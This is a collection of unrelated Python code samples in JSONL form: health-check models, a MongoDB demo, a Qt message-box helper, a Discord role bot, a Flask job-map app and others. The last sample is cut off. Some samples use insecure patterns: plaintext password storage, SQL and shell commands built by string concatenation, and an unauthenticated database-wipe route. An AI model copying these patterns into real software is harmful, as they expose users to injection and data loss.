+{"seq_id":"234369224","text":"#!/usr/bin/env python3\n# encoding: utf-8\n\nimport sys\nfrom unicodedata import category as unicode_category\n\nUPPERCASE_LETTERS = set()\nfor c in map(chr, range(sys.maxunicode+1)):\n\tif unicode_category(c) == 'Lu':\n\t\tUPPERCASE_LETTERS.add(c)\nUPPERCASE_LETTERS = frozenset(UPPERCASE_LETTERS)\ndel c\n\ndef is_shout_0(str):\n\tsum = 0\n\tfor c in str:\n\t\tsum += c in UPPERCASE_LETTERS\n\treturn sum / len(str)\n\ndef is_shout_1(str):\n\tsum = 0\n\tfor c in str:\n\t\tsum += unicode_category(c) == 'Lu'\n\treturn sum / len(str)\n\n# fastest\ndef is_shout_2(str):\n\tsum = 0\n\tfor c in str:\n\t\tif c in UPPERCASE_LETTERS:\n\t\t\tsum += 1\n\treturn sum / len(str)\n\ndef is_shout_3(str):\n\tsum = 0\n\tfor c in str:\n\t\tif unicode_category(c) == 'Lu':\n\t\t\tsum += 1\n\treturn sum / len(str)\n","sub_path":"is_shout.py","file_name":"is_shout.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"610588079","text":"# =================================================================\n#\n# Authors: Tom Kralidis <tomkralidis@gmail.com>\n#\n# Copyright (c) 2014 Tom Kralidis\n#\n# Permission is hereby granted, free of charge, to any person\n# obtaining a copy of this software and associated documentation\n# files (the \"Software\"), to deal in the Software without\n# restriction, including without limitation the rights to use,\n# copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the\n# Software is furnished to do so, subject to the following\n# conditions:\n#\n# The above copyright notice and this permission notice shall be\n# included in all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n# OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\n# HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\n# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n# OTHER DEALINGS IN THE SOFTWARE.\n#\n# =================================================================\n\nfrom datetime import datetime\nimport logging\n\nfrom sqlalchemy import func\n\nfrom enums import RESOURCE_TYPES\nfrom init import DB\nfrom notifications import notify\nimport util\n\nLOGGER = logging.getLogger(__name__)\n\n\nclass Run(DB.Model):\n    \"\"\"measurement of resource state\"\"\"\n\n    identifier = DB.Column(DB.Integer, primary_key=True, autoincrement=True)\n    resource_identifier = DB.Column(DB.Integer,\n                                    DB.ForeignKey('resource.identifier'))\n    resource = DB.relationship('Resource',\n                               backref=DB.backref('runs', lazy='dynamic'))\n    checked_datetime = DB.Column(DB.DateTime, nullable=False)\n    success = DB.Column(DB.Boolean, nullable=False)\n    response_time = DB.Column(DB.Float, nullable=False)\n    message = DB.Column(DB.Text, default='OK')\n\n    def __init__(self, resource, success, response_time, message='OK',\n                 checked_datetime=datetime.utcnow()):\n        self.resource = resource\n        self.success = success\n        self.response_time = response_time\n        self.checked_datetime = checked_datetime\n        self.message = message\n\n    def __repr__(self):\n        return '<Run %r>' % (self.identifier)\n\n\nclass Resource(DB.Model):\n    \"\"\"HTTP accessible resource\"\"\"\n\n    identifier = DB.Column(DB.Integer, primary_key=True, autoincrement=True)\n    resource_type = DB.Column(DB.Text, nullable=False)\n    title = DB.Column(DB.Text, nullable=False)\n    url = DB.Column(DB.Text, nullable=False)\n    latitude = DB.Column(DB.Float)\n    longitude = DB.Column(DB.Float)\n    owner_identifier = DB.Column(DB.String(20), DB.ForeignKey('user.username'))\n    owner = DB.relationship('User',\n                            backref=DB.backref('username2', lazy='dynamic'))\n    min_response_time = DB.Column(DB.Float, default='0')\n    average_response_time = DB.Column(DB.Float, default='0')\n    max_response_time = DB.Column(DB.Float, default='0')\n    reliability = DB.Column(DB.Integer, default='0')\n    last_run_checked_datetime = DB.Column(DB.DateTime, default='1970-01-01 00:00:00')\n    last_run_success = DB.Column(DB.Boolean, default='1')\n    last_run_response_time = DB.Column(DB.Float, default='0')\n    last_run_message = DB.Column(DB.Text, default='OK')\n\n    def __init__(self, owner, resource_type, title, url):\n        self.resource_type = resource_type\n        self.title = title\n        self.url = url\n        self.owner = owner\n\n        # get latitude/longitude from hostname\n        try:\n            self.latitude, self.longitude = util.geocode(url)\n        except Exception as err:  # skip storage\n            LOGGER.exception('Could not derive coordinates: %s', err)\n\n    def __repr__(self):\n        return '<Resource %r %r>' % (self.identifier, self.title)\n\n    @property\n    def get_capabilities_url(self):\n        if self.resource_type.startswith('OGC:'):\n            url = '%s%s' % (self.url,\n                            RESOURCE_TYPES[self.resource_type]['capabilities'])\n        else:\n            url = self.url\n        return url\n\n    @property\n    def all_response_times(self):\n        return [run.response_time for run in self.runs]\n\n    @property\n    def nruns_response_times(self):\n        lines = [run.response_time for run in self.runs.order_by(Run.checked_datetime.desc()).limit(100)]\n        return lines[::-1]\n\n    @property\n    def first_run(self):\n        return self.runs.having(func.min(Run.checked_datetime)).group_by(\n            Run.checked_datetime).order_by(\n                Run.checked_datetime.asc()).first()\n\n    @property\n    def f_last_run(self):\n        return self.runs.having(func.max(Run.checked_datetime)).group_by(\n            Run.checked_datetime).order_by(\n                Run.checked_datetime.desc()).first()\n\n    @property\n    def f_average_response_time(self):\n        query = [run.response_time for run in self.runs]\n        return util.average(query)\n\n    @property\n    def f_min_response_time(self):\n        query = [run.response_time for run in self.runs]\n        return min(query)\n\n    @property\n    def f_max_response_time(self):\n        query = [run.response_time for run in self.runs]\n        return max(query)\n\n    @property\n    def f_reliability(self):\n        total_runs = self.runs.count()\n        success_runs = self.runs.filter_by(success=True).count()\n        return util.percentage(success_runs, total_runs)\n\n    def f_min_average_max(self):\n        query = [run.response_time for run in self.runs]\n        success_runs = self.runs.filter_by(success=True).count()\n        return [min(query), util.average(query), max(query), util.percentage(success_runs, len(query)) ]\n\n    def f_min_average_max_percentage(self):\n        sql = 'SELECT MIN(response_time) as min_time, AVG(response_time) as average, MAX(response_time) as max_time '\n        sql += ', COUNT(if(success=1,success,NULL)) as success, COUNT(*) as total '\n        sql += 'FROM run WHERE resource_identifier = ' + str(self.identifier)\n        result = DB.engine.execute(sql)\n        value = result.cursor._rows[0]\n        return [value[0], value[1], value[2], util.percentage(value[3], value[4]) ]\n\n    def snippet(self):\n        return util.get_python_snippet(self)\n\n    def runs_to_json(self):\n        runs = []\n        for run in self.runs.group_by(Run.checked_datetime).all():\n            runs.append({'datetime': run.checked_datetime.isoformat(),\n                         'value': run.response_time,\n                         'success': 1 if run.success else 0})\n        return runs\n\n    def limit_runs_to_json(self):\n        runs = []\n        for run in self.runs.group_by(Run.checked_datetime.desc()).limit(100):\n            runs.append({'datetime': run.checked_datetime.isoformat(),\n                         'value': run.response_time,\n                         'success': 1 if run.success else 0})\n        return runs\n\n    def success_to_colors(self):\n        colors = []\n        for run in self.runs.group_by(Run.checked_datetime).all():\n            if run.success == 1:\n                colors.append('#5CB85C')  # green\n            else:\n                colors.append('#D9534F')  # red\n        return colors\n\n\nclass User(DB.Model):\n    \"\"\"user accounts\"\"\"\n\n    identifier = DB.Column('user_id', DB.Integer, primary_key=True,\n                           autoincrement=True)\n    username = DB.Column(DB.String(20), unique=True, index=True,\n                         nullable=False)\n    password = DB.Column(DB.String(10), nullable=False)\n    email = DB.Column(DB.String(50), unique=True, index=True, nullable=False)\n    role = DB.Column(DB.Text, nullable=False, default='user')\n    registered_on = DB.Column(DB.DateTime)\n\n    def __init__(self, username, password, email, role='user'):\n        self.username = username\n        self.password = password\n        self.email = email\n        self.role = role\n        self.registered_on = datetime.utcnow()\n\n    def is_authenticated(self):\n        return True\n\n    def is_active(self):\n        return True\n\n    def is_anonymous(self):\n        return False\n\n    def get_id(self):\n        return unicode(self.identifier)\n\n    def __repr__(self):\n        return '<User %r>' % (self.username)\n\n\ndef get_resource_types_counts():\n    \"\"\"return frequency counts and totals of registered resource types\"\"\"\n\n    mrt = Resource.resource_type\n    return [\n        DB.session.query(mrt, func.count(mrt)).group_by(mrt),\n        DB.session.query(mrt).count()\n    ]\n\n\nif __name__ == '__main__':\n    import sys\n    from flask import Flask\n    APP = Flask(__name__)\n    APP.config.from_pyfile('config_main.py')\n    APP.config.from_pyfile('../instance/config_site.py')\n    if len(sys.argv) > 1:\n        if sys.argv[1] == 'create':\n            print('Creating database objects')\n            DB.create_all()\n\n            print('Creating superuser account')\n            if len(sys.argv) == 5:  # username/password/email sent\n                username = sys.argv[2]\n                password1 = sys.argv[3]\n                email1 = sys.argv[4]\n            else:\n                username = raw_input('Enter your username: ').strip()\n                password1 = raw_input('Enter your password: ').strip()\n                password2 = raw_input('Enter your password again: ').strip()\n                if password1 != password2:\n                    raise ValueError('Passwords must match')\n                email1 = raw_input('Enter your email: ').strip()\n                email2 = raw_input('Enter your email again: ').strip()\n                if email1 != email2:\n                    raise ValueError('Emails must match')\n\n            user_to_add = User(username, password1, email1, role='admin')\n            DB.session.add(user_to_add)\n        elif sys.argv[1] == 'drop':\n            print('Dropping database objects')\n            DB.drop_all()\n        elif sys.argv[1] == 'run':\n            print('Running health check tests')\n            from healthcheck import run_test_resource\n            start_time = datetime.utcnow()\n            cc = 0\n            for res in Resource.query.all():  # run all tests\n                cc = cc + 1\n                print('Testing %s %s' % (res.resource_type, res.url))\n                last_run_success = res.last_run_success\n                run_to_add = run_test_resource(res.resource_type, res.url)\n\n                last_run = Run(res, run_to_add[1], run_to_add[2],\n                           run_to_add[3], run_to_add[4])\n\n                print('Adding run')\n                DB.session.add(last_run)\n                try:\n                    DB.session.commit()\n                except Exception as err:\n                    DB.session.rollback()\n                    msg = str(err)\n                    print(msg)\n                # Precalculate\n                values = res.f_min_average_max_percentage() # Need optimize this\n                setattr(res, 'min_response_time', values[0])\n                setattr(res, 'average_response_time', values[1])\n                setattr(res, 'max_response_time', values[2])\n                setattr(res, 'reliability', values[3])\n                setattr(res, 'last_run_checked_datetime', last_run.checked_datetime)\n                setattr(res, 'last_run_response_time', last_run.response_time)\n                setattr(res, 'last_run_success', last_run.success)\n                setattr(res, 'last_run_message', last_run.message)\n                try:\n                    DB.session.commit()\n                except Exception as err:\n                    DB.session.rollback()\n                    msg = str(err)\n                    print(msg)\n\n                if APP.config['GHC_NOTIFICATIONS']:\n                    notify(APP.config, res, last_run, last_run_success)\n            end_time = datetime.utcnow()\n            delta = end_time - start_time\n            print('Time testing %d resources: %s' % (cc, delta) )\n\n        elif sys.argv[1] == 'flush':\n            print('Flushing runs older than %d days' %\n                  APP.config['GHC_RETENTION_DAYS'])\n            for run1 in Run.query.all():\n                here_and_now = datetime.utcnow()\n                days_old = (here_and_now - run1.checked_datetime).days\n                if days_old > APP.config['GHC_RETENTION_DAYS']:\n                    print('Run older than %d days. Deleting' % days_old)\n                    DB.session.delete(run1)\n        # commit or rollback\n        try:\n            DB.session.commit()\n        except Exception as err:\n            DB.session.rollback()\n            msg = str(err)\n            print(msg)\n","sub_path":"GeoHealthCheck/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":12773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"447644008","text":"#!/usr/bin/bash python3\n# -*- encoding: utf-8 -*-\n\nfrom pymongo import MongoClient\n\n\n# client = MongoClient() #default host and port: localhost:27017\n# client = MongoClient('localhost', 27017)\nclient = MongoClient('mongodb://localhost:27017')\n\n# db = client['pymongo_test']\ndb = client.pymongo_test\n\nposts = db.posts\npost_data1 = {\n\t'title': 'Python and MongoDb',\n\t'content': 'learn MongoDb in Python',\n\t'author': 'xzj'\n}\n\none_result = posts.insert_one(post_data1)\nprint('One post: {0}'.format(one_result.inserted_id))\n\npost_data2 = {\n\t'title': 'title2',\n\t'content': 'content2',\n\t'author': 'author2'\n}\n\npost_data3 = {\n\t'title': 'title3',\n\t'content': 'content3',\n\t'author': 'author3'\n}\n\npost_data4 = {\n\t'title': 'title2',\n\t'content': 'content4',\n\t'author': 'author4'\n}\n\nmany_result = posts.insert_many([post_data2, post_data3, post_data4])\nprint('Many post: {0}'.format(many_result.inserted_ids))\n\ntitle3_post = posts.find_one({'title': 'title3'})\nprint(title3_post)\n\ntitle2_post = posts.find({'title': 'title2'})\nprint(title2_post)\n\nfor post in title2_post:\n    print(post)\n","sub_path":"NoSQL/MongoDB/Python/MongoDB.py","file_name":"MongoDB.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"279927916","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/betsee/util/io/guimessage.py\n# Compiled at: 2019-08-01 01:03:54\n# Size of source mod 2**32: 5781 bytes\n\"\"\"\nHigh-level :mod:`QMessageBox`-based message handling facilities.\n\nSee Also\n----------\n:mod:`betsee.util.io.guierror`\n    Error-specific :class:`QMessageBox` facilities.\n\"\"\"\nfrom PySide2.QtCore import QCoreApplication\nfrom PySide2.QtWidgets import QMessageBox\nfrom betse.util.type.types import type_check, StrOrNoneTypes\nfrom betsee.guiexception import BetseePySideMessageBoxException\n\ndef show_query(*args, **kwargs) -> int:\n    \"\"\"\n    Display the passed question(s) as a :mod:`QMessageBox`-driven modal message\n    box in the current application widget.\n\n    See Also\n    ----------\n    :func:`show_message`\n        Further details.\n    \"\"\"\n    return show_message(args, severity=QMessageBox.Question, **kwargs)\n\n\ndef show_info(*args, **kwargs) -> int:\n    \"\"\"\n    Display the passed information as a :mod:`QMessageBox`-driven modal message\n    box in the current application widget.\n\n    See Also\n    ----------\n    :func:`show_message`\n        Further details.\n    \"\"\"\n    return show_message(args, severity=QMessageBox.Information, **kwargs)\n\n\ndef show_warning(*args, **kwargs) -> int:\n    \"\"\"\n    Display the passed warning message(s) as a :mod:`QMessageBox`-driven modal\n    message box in the current application widget.\n\n    See Also\n    ----------\n    :func:`show_message`\n        Further details.\n    \"\"\"\n    return show_message(args, severity=QMessageBox.Warning, **kwargs)\n\n\n@type_check\ndef show_message(title: str, synopsis: str, severity: QMessageBox.Icon=QMessageBox.NoIcon, buttons: QMessageBox.StandardButtons=QMessageBox.Ok, button_default: QMessageBox.StandardButton=QMessageBox.Ok, exegesis: StrOrNoneTypes=None, details: StrOrNoneTypes=None) -> int:\n    \"\"\"\n    Display the passed warning message(s) as a :mod:`PySide2`-driven modal\n    message box in the current application widget.\n\n    Parameters\n    ----------\n    title : str\n        Title of this message box.\n    synopsis : str\n        Synopsis (i.e., main text) of this of this message box.\n    severity: optional[QMessageBox.Icon]\n        Integer value of the :class:`QMessageBox.` enumeration member signifying\n        the severity of the icon displayed by this message box. Defaults to\n        :attr:`QMessageBox.NoIcon`, preventing an icon from being displayed.\n    buttons : optional[QMessageBox.StandardButtons]\n        Bit flag of the integer values of all OR-ed\n        :class:`QMessageBox.StandardButton` enumeration members comprising the\n        set of all buttons to be displayed by this message box. Defaults to\n        :attr:`QMessageBox.Ok`, the conventional \"OK\" button.\n    button_default : optional[QMessageBox.StandardButton]\n        Bit value of the :class:`QMessageBox.StandardButton` enumeration member\n        signifying the **default button** (i.e., button initially receiving the\n        keyboard focus) displayed by this message box. If the passed ``buttons``\n        bit field does *not* enable this bit, an exception is raised. Defaults\n        to :attr:`QMessageBox.Ok`, the conventional \"OK\" button.\n    exegesis : optional[str]\n        Exegesis (i.e., explanation) of this warning to be displayed as the\n        so-called \"informative text\" of this message box below the synopsis of\n        this warning. Defaults to ``None``, in which case no such text is\n        displayed.\n    details : optional[str]\n        Technical details of this warning to be displayed as the so-called\n        \"detailed text\" of this message box in monospaced font below both the\n        synopsis and exegesis of this warning in a discrete fold-down text area.\n        Defaults to ``None``, in which case no such text is displayed.\n\n    Returns\n    ----------\n    int\n        Bit value of the :class:`QMessageBox.StandardButton` enumeration member\n        signifying the button clicked by the user if any.\n    \"\"\"\n    if buttons == 0:\n        raise BetseePySideMessageBoxException(QCoreApplication.translate('show_message', 'Button bit field empty.'))\n    else:\n        if button_default & buttons == 0:\n            raise BetseePySideMessageBoxException(QCoreApplication.translate('show_message', 'Default button bit \"{0}\" not enabled by button bit field \"{1}\".'.format(button_default, buttons)))\n        message_box = QMessageBox()\n        message_box.setWindowTitle(title)\n        message_box.setText(synopsis)\n        message_box.setIcon(severity)\n        message_box.setStandardButtons(buttons)\n        message_box.setDefaultButton(button_default)\n        if exegesis is not None:\n            message_box.setInformativeText(exegesis)\n        if details is not None:\n            message_box.setDetailedText(details)\n    message_box.show()\n    return message_box.exec_()","sub_path":"pycfiles/betsee-1.1.1.0-py3.6/guimessage.cpython-36.py","file_name":"guimessage.cpython-36.py","file_ext":"py","file_size_in_byte":4954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"79027875","text":"import csv\nimport os.path\nfrom os import path\nimport json\n\n\nclass IOhelper:\n    \"\"\"\n    Simple class for reading and writing 2d arrays in to a .csv\n    \"\"\"\n    def __init__(self, path_name, google_colab=False):\n        if not google_colab:\n            if self.check_path(path_name):\n                self.path_name = path_name\n            else:\n                raise IOError(\"Not a valid directory\")\n        else:\n            self.path_name = path_name\n\n    def write_2d_csv(self, data, name):\n        with open(self.path_name + name + \".csv\", \"w\", newline=\"\") as f:\n            writer = csv.writer(f)\n            writer.writerows(data)\n\n    def write_1d_csv(self, data, name):\n        with open(self.path_name + name + \".csv\", \"w\", newline=\"\") as f:\n            writer = csv.writer(f)\n            for list_ in data:\n                writer.writerow((str(int(list_))))\n\n    def write_dict_to_csv(self, data, name):\n        with open(self.path_name + name + \".csv\", 'w', newline=\"\") as csv_file:\n            writer = csv.writer(csv_file)\n            for key, value in data.items():\n                writer.writerow([key, value])\n\n    def read_csv(self, name):\n        return list(csv.reader(open(self.path + name)))\n\n    @staticmethod\n    def check_path(path_name):\n        return path.isdir(path_name)\n\n    def dump_json(self, sample, name):\n        with open(name + '.json', 'w') as fp:\n            json.dump(sample, fp)","sub_path":"curves/src/IOhelper.py","file_name":"IOhelper.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"387530333","text":"import os\n\n\ndef freeze_requirements():\n    with open(\"REQUIREMENTS\") as file:\n        for line in file:\n            if line.lower().startswith('-e') or line.lower().startswith('http'):\n                os.system(\"echo '\" + line.rstrip() + \"' >> REQUIREMENTS_frozen\")\n            else:\n                pkg = line.rstrip().split('==')[0]\n                os.system(\"pip freeze | grep -i ^\" + pkg + \"== >> REQUIREMENTS_frozen\")\n    os.system(\"mv REQUIREMENTS_frozen REQUIREMENTS\")\n","sub_path":"basic_template/fabfile.py","file_name":"fabfile.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"395498974","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport django.core.validators\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('exec', '0004_auto_20150628_0410'),\n    ]\n\n    operations = [\n        migrations.AlterField(\n            model_name='executant',\n            name='descriptionDuPoste',\n            field=models.TextField(max_length=512),\n        ),\n        migrations.AlterField(\n            model_name='executant',\n            name='facebook',\n            field=models.CharField(max_length=64, validators=[django.core.validators.URLValidator()]),\n        ),\n    ]\n","sub_path":"ADEPUL/exec/migrations/0005_auto_20150628_1450.py","file_name":"0005_auto_20150628_1450.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"5211016","text":"import discord\nfrom common import db\nfrom discord.ext import commands\nfrom modules.utils import getGuild, system_notification\n\n\nclass OnRawReactionRemove(commands.Cog):\n    def __init__(self, bot):\n        self.bot = bot\n\n    @commands.Cog.listener()\n    async def on_raw_reaction_remove(self, payload):\n        reaction = str(payload.emoji)\n        msg_id = payload.message_id\n        user_id = payload.user_id\n        guild_id = payload.guild_id\n        exists = db.exists(msg_id)\n\n        if isinstance(exists, Exception):\n            await system_notification(self.bot,\n                                      guild_id,\n                                      f\"Database error after a user removed a reaction:\\n```\\n{exists}\\n```\",\n                                      )\n\n        elif exists:\n            # Checks that the message that was unreacted to is a reaction-role message managed by the bot\n            reactions = db.get_reactions(msg_id)\n\n            if isinstance(reactions, Exception):\n                await system_notification(self.bot,\n                                          guild_id,\n                                          f\"Database error when getting reactions:\\n```\\n{reactions}\\n```\",\n                                          )\n\n            elif reaction in reactions:\n                role_id = reactions[reaction]\n                # Removes role if it has permissions, else 403 error is raised\n                server = await getGuild(self.bot, guild_id)\n                member = server.get_member(user_id)\n\n                if not member:\n                    member = await server.fetch_member(user_id)\n\n                role = discord.utils.get(server.roles, id=role_id)\n                try:\n                    await member.remove_roles(role)\n                    if db.notify(guild_id):\n                        await member.send(f\"You do not have the following role anymore: **{role.name}**\")\n\n                except discord.Forbidden:\n                    await system_notification(self.bot,\n                                              guild_id,\n                                              \"Someone tried to remove a role from themselves but I do not have\"\n                                              \" permissions to remove it. Ensure that I have a role that is\"\n                                              \" hierarchically higher than the role I have to remove, and that I\"\n                                              \" have the `Manage Roles` permission.\",\n                                              )\n","sub_path":"modules/events/onRawReactionRemove.py","file_name":"onRawReactionRemove.py","file_ext":"py","file_size_in_byte":2545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"562516941","text":"from flask import Flask, render_template, request, redirect, url_for, jsonify\nfrom flask_login import LoginManager\nfrom flask_googlemaps import GoogleMaps\nfrom flask_googlemaps import Map\nfrom geopy.geocoders import Nominatim\nfrom operator import itemgetter\nimport geopy.distance\nimport sqlite3 as sql\nimport requests\nimport json\n\n\n# app = Flask(__name__)\napp = Flask(__name__, template_folder=\"templates\")\n\ndef geolocate(address):\n    print(\"geolocating\")\n    geolocator = Nominatim(user_agent='helper')\n    location = geolocator.geocode(address)\n    return location\n\n@app.route(\"/post\", methods = ['POST', 'GET'])\ndef makepost():\n    \n    if request.method == 'POST':\n        try:\n            \n            name = request.form['Name']\n            address = request.form['Address']\n            latitude = request.form['Latitude']\n            longitude = request.form['Longitude']\n            job = request.form['Request']\n            pay = request.form['Payment']\n            contact = request.form['Contact']\n\n            if address:\n                location = geolocate(address)\n                latitude = location[1][0]\n                longitude = location[1][1]\n                print(\"lat1\", latitude)\n            # print(\"lat2\", latitude, \"long\",longitude)\n\n            if not address:\n                geolocator = Nominatim(user_agent='helper')\n                location = geolocator.reverse([latitude, longitude])\n                print(location)\n                address = location[0]\n                print(address)\n\n            # with sql.connect(\"database.db\") as con:\n            con = sql.connect(\"database.db\")\n            cur = con.cursor()\n            cur.execute(\"INSERT INTO posts (username,address,lat,long,job, pay, contact) VALUES (?,?,?,?,?,?,?)\",(name,address,latitude,longitude,job,pay,contact))\n\n            con.commit()\n            msg = \"Record successfully added\"\n            print(msg)\n        except:\n            con.rollback()\n            msg = \"error in insert operation\"\n            print(msg)\n\n        finally:\n            \n            return redirect('/')\n            con.close()\n    return redirect('/')\n\n\n# This is for testing purposes only, so i can test the get current location feature\n# And to prevent things from getting too cluttered\n@app.route(\"/cleardb\")\ndef clearDB():\n    query = 'DELETE FROM posts'\n    con = sql.connect(\"database.db\")\n    cur = con.cursor()\n    cur.execute(query)\n    con.commit()\n    return redirect('/')\n\n@app.route('/list')\ndef list():\n    con = sql.connect(\"database.db\")\n    con.row_factory = sql.Row\n\n    cur = con.cursor()\n    cur.execute(\"select * from posts\")\n\n    rows = cur.fetchall(); #list type\n    return render_template(\"db.html\",rows = rows)\n\n\ndef vincentyDistance(x1, y1, x2, y2):\n    c1 = (x1, y1)\n    c2 = (x2, y2)\n    distance = geopy.distance.distance(c1,c2).miles\n    print(\"distance\",distance)\n    return round(distance, 2)\n\n@app.route(\"/\", methods = ['POST', 'GET'])\ndef mapview():\n    lat = 0\n    lon = 0\n    \n\n    locations = []\n    locations2 = []\n    con = sql.connect(\"database.db\")\n    con.row_factory = sql.Row\n\n    cur = con.cursor()\n    cur.execute(\"select * from posts\")\n\n    rows = cur.fetchall()\n    \n    if request.method == \"POST\":\n        print('do we get here?')\n        address = request.form['userLocation']\n        location = geolocate(address)\n        lat = location[1][0]\n        lon = location[1][1]\n        print(lat,lon)\n    \n\n    for row in rows:\n        if row[0] == \"\":\n            rows.remove(row)\n            continue\n        else:\n            print(\"is i here\")\n            distance = vincentyDistance(lat, lon, row[2], row[3])\n            post = {\n                \"name\" : row[0],\n                \"address\" : row[1],\n                \"latitude\" : row[2],\n                \"longitude\" : row[3],\n                \"job\" : row[4],\n                \"pay\" : row[5],\n                \"contact\" : row[6],\n                \"distance\" : distance\n            }\n            locations.append(post)\n    # sorted_locations = sorted(locations, key =itemgetter('distance'))\n    print(locations)\n\n    return render_template('index.html', rows = rows, posts = locations)   \n\nif __name__ == \"__main__\":\n    app.run(debug=True)","sub_path":"helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":4217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"282116850","text":"#!/usr/bin/env python\n#\n# Copyright (c) 2019 10x Genomics, Inc. All rights reserved.\n#\n\nimport cellranger.matrix as cr_matrix\nimport cellranger.io as cr_io\nimport martian\nimport subprocess\nimport json\nimport os\nimport numpy as np\nfrom pybedtools import BedTool\nimport tenkit.log_subprocess as tk_subproc\nimport tenkit.safe_json as tk_json\nfrom tools.ref_manager import ReferenceManager\nfrom utils import generate_genome_tag\nfrom constants import TRANSCRIPT_ANNOTATION_GENE_TYPES\n\nMIN_MEM_GB = 4\n\n__MRO__ = \"\"\"\nstage CLOUPE_PREPROCESS(\n    in  string     pipestance_type,\n    in  string     sample_id,\n    in  string     sample_desc,\n    in  string     reference_path,\n    in  h5         analysis,\n    in  h5         feature_barcode_matrix,\n    in  bed        peaks,\n    in  tsv.gz.tbi fragments_index,\n    in  json       metrics_json,\n    in  csv        aggregation_csv,\n    in  json       gem_group_index_json,\n    in  bool       no_secondary_analysis,\n    out cloupe     output_for_cloupe,\n    out json       gem_group_index_json,\n    src py         \"stages/cloupe/atac_cloupe_preprocess\",\n) split (\n)\n\"\"\"\n\ndef get_gem_group_index_json(args, outs):\n    if args.gem_group_index_json:\n        cr_io.copy(args.gem_group_index_json, outs.gem_group_index_json)\n    else:\n        generated_index = cr_matrix.get_gem_group_index(args.feature_barcode_matrix)\n        if generated_index is not None:\n            with open(outs.gem_group_index_json, 'w') as outfile:\n                tk_json.dump_numpy({\"gem_group_index\": generated_index}, outfile)\n        else:\n            outs.gem_group_index_json = None\n    return outs.gem_group_index_json\n\ndef get_annotation_gene_types(args):\n    \"\"\"\n    Return the gene types to use to filter genes/transcript\n    annotations by.\n    \"\"\"\n    ref_mgr = ReferenceManager(args.reference_path)\n    tss = BedTool(ref_mgr.tss_track)\n    if tss.field_count() == 7:\n        return TRANSCRIPT_ANNOTATION_GENE_TYPES\n    else:\n        return None\n\ndef do_not_make_cloupe(args):\n    \"\"\"\n    Returns True if there is a reason why this stage should not attempt to\n    generate a .cloupe file\n    \"\"\"\n    if args.no_secondary_analysis:\n        martian.log_info(\"Skipping .cloupe generation by instruction (--no-secondary-analysis)\")\n        return True\n    if args.analysis is None or not os.path.exists(args.analysis):\n        martian.log_info(\"Skipping .cloupe generation due to missing analysis hdf5 file\")\n        return True\n    if args.feature_barcode_matrix is None or not os.path.exists(args.feature_barcode_matrix):\n        martian.log_info(\"Skipping .cloupe generation due to missing or zero-length feature-barcode matrix\")\n        return True\n    ref_mgr = ReferenceManager(args.reference_path)\n    if len(ref_mgr.list_species()) > 1:\n        martian.log_info(\"Skipping .cloupe generation as the sample is composed of multiple genomes\")\n        return True\n    return False\n\ndef split(args):\n    # no mem usage if skipped\n    if do_not_make_cloupe(args):\n        return {'chunks': [], 'join': {'__mem_gb': MIN_MEM_GB}}\n\n    # Multiplicative factor:\n    # 2 for storing csc + csr matrix, 0.5 for conversion, 0.4 for the dense propZ matrix, 0.5 for safety\n    matrix_mem_gb = int(np.ceil(8 + 3.4 * cr_matrix.CountMatrix.get_mem_gb_from_matrix_h5(args.feature_barcode_matrix)))\n    join = {'__mem_gb': max(matrix_mem_gb, MIN_MEM_GB)}\n    return {'chunks': [], 'join': join}\n\n\ndef main(args, outs):\n    martian.throw(\"No chunks defined\")\n\n\ndef get_contig_info(reference_path):\n    manager = ReferenceManager(reference_path)\n    contig_info = {\n        \"contig_order\": {},\n        \"contig_lengths\": {}\n    }\n    contig_lengths = manager.get_contig_lengths()\n    for idx, contig in enumerate(manager.contigs[\"primary_contigs\"]):\n        contig_info[\"contig_order\"][contig] = idx\n        contig_info[\"contig_lengths\"][contig] = contig_lengths[contig]\n\n    genomes = generate_genome_tag(reference_path)\n    contig_info[\"species\"] = genomes\n    return contig_info\n\n\ndef join(args, outs, chunk_defs, chunk_outs):\n    if do_not_make_cloupe(args):\n        outs.output_for_cloupe = None\n        return\n\n    reference = ReferenceManager(args.reference_path)\n\n    contig_info_fn = martian.make_path(\"contig_info.json\")\n    with open(contig_info_fn, 'w') as outfile:\n        contig_info = get_contig_info(args.reference_path)\n        json.dump(contig_info, outfile)\n\n    gem_group_index_json = 